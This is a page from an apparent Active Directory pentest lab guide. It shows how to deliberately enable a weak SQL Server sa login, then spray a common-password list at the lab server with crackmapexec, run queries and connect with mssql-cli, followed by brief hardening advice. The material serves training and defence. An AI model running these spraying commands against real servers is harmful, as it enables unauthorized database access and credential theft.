📖
Building a Windows AD lab
  • Building a Windows AD lab
  • Lab-setup
    • Lab overview
    • Building the lab
      • Prerequisite
      • Creating images
        • Optional: Install software & Settings
      • Network setup
      • Cloning & Creating VM's
      • Creating bank.local
        • Creating Domain Controller - DC01
          • Enable RDP
        • Creating amsterdam.bank.local
          • Creating Domain Controller - DC02
            • Creating a AD structure
            • Create a CA
            • Configure LDAPS
          • Creating Fileserver - FILE01
            • File services
          • Creating W10 client - WS01
            • PSRemoting
          • Creating Webserver - WEB01
            • Web Services
            • SQL Server
              • Create database
      • Creating secure.local
        • Creating Domain Controller - DC03
        • Creating File/SQL Server - DATA01
          • SQL Server
            • Create database
    • Attack Paths
      • Attack path 1 (hard)
        • Configuring
        • Tasks
        • Manual
      • Attack path 2
        • Configuring
        • Task
        • Manual
    • Troubleshooting
    • To-Do
  • Vulnerabilities & Misconfigurations & Attacks
    • Initial Access Attacks
      • Username Enumeration
        • Password Spraying
        • AS-REP Roasting
        • Empty Password
      • SMB Relaying
      • SMB Null-Session (To-Do)
      • SQL Server default login
    • Active Directory Attacks
      • Password spraying
      • AS-REP Roasting
      • Empty password
      • Password in description
      • Kerberoasting
      • Delegation Attacks
        • Unconstrained Delegation
          • Printerbug
        • Constrained Delegation
        • Resource Based Constrained Delegation
          • Computeraccount Takeover
          • Change-LockScreen
          • Webclient Attack (todo)
      • DACL-Abuses
        • Write Owner
        • Owns
        • WriteDacl
        • GenericAll
        • GenericWrite (todo)
        • ForceChangePassword
        • Add user to group (todo)
        • Targeted Kerberoast (todo)
        • Get-Changes
      • Reused local administrator (todo)
      • SQL Server Attacks (todo)
        • Initial Access
          • SQL Server default login
          • Normal domain user access
        • Privilege Escalation
          • Impersonation
          • DB-Owner
          • Enumerate Logins
            • Weak passwords
        • Executing Commands
        • Database-Links
        • Capturing hashes & Relaying
      • Reading LAPS passwords (todo)
      • Priviliged Groups (todo)
        • DNS-Admins (todo)
        • Account Operators (todo)
        • Backup Operators
        • Server Operators (todo)
      • Hopping domains and forests
        • Child to parent domain
          • Krbtgt hash
          • Trust key
        • Cross forest Attacks (todo)
          • Foreign user
    • Misc
      • Reverse shell trick
      • Lateral Movement
        • PSRemoting
        • PsExec (todo)
      • Misconfigured Service (todo)
        • Unqouted Service Path
      • Discovering Shares
      • Password on shares
      • Different methods of dumping credentials
        • LSASS (todo)
        • Dumping DPAPI
          • Browser passwords
        • Scheduled tasks (todo)
        • Services (todo)
        • Vssadmin Shadow Copy
      • ms-ds-machineaccountquota (todo)
      • add DNS Records (todo)
      • Bypassing UAC
    • Template page
  • Defence
    • Detection
    • Hardening
      • LDAP
        • LDAP Signing
        • LDAPS Binding
      • Strong Password Policy
      • Change who can join computers to the domain
      • Protected users group
      • Account is sensitive and cannot be delegated
      • Powershell Execution Policy
      • Template page
Powered by GitBook
On this page
  • Configuring
  • Attacking
  • How it works
  • Tools
  • Executing the attack
  • Defending
  • Recommendations
  • Detection
  • References
Edit on GitHub
  1. Vulnerabilities & Misconfigurations & Attacks
  2. Initial Access Attacks

SQL Server default login

By default the SA user is NOT enabled. Administrators might enable it during the installation and choose a weak password.

PreviousSMB Null-Session (To-Do)NextActive Directory Attacks

Last updated 2 years ago

Configuring

  1. Login to WEB01 as the Administrator user with password Welcome01!.

2. Open "Microsoft SQL Server Management Studio"

3. Login with the Administrator user using Windows Authentication.

4. Expand the "Security" and "Logins" folders. Right click "sa" and select "Properties". Make sure "Enforce password policy" is unchecked and fill in the password sa twice.

Attacking

How it works

One of the default users (not enabled by default) for SQL Server is the SA user. Administrators might enable it during the installation and choose a weak password, such as the username.

Tools

Executing the attack

  1. Check if the MSSQL server on WEB01 can be contacted from our Kali machine:

crackmapexec mssql 10.0.0.5 -d .

2. Paste the following passwords in passwords.txt to spray with:

Password
Password01!
Password1!
Welcome01!
Welcome01
Welcome1!
Welcome1
sa

3. Run Crackmapexec to connect to the MSSQL service running on WEB01 and passwordspray the passwords till there is a succesfull login:

crackmapexec mssql 10.0.0.5 -u sa -p passwords.txt --local-auth

We got a succesfull login as the sa user with the password sa.

4. Run Crackmapexec again with the password sa and use the -q flag to try to execute the query select @@version to retrieve the MSSQL version.

crackmapexec mssql 10.0.0.5 -u sa -p sa --local-auth -q "select @@version;"

5. Connect to the database using mssql-cli.

mssql-cli -S 10.0.0.5 -U sa -P sa

Check the executing commands page under SQL Server Attacks to learn to execute cmd commands:

Defending

Recommendations

  • Make sure the password policy is enforced for all users on the SQL server.

  • Dont use the sa account, this account is well to known and attackers will attempt to brute-force it.

Detection

References

Crackmapexec
mssql-cli
Executing Commands
LogoGitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networksGitHub
Logomssql-cli - SQL Serverdocsmsft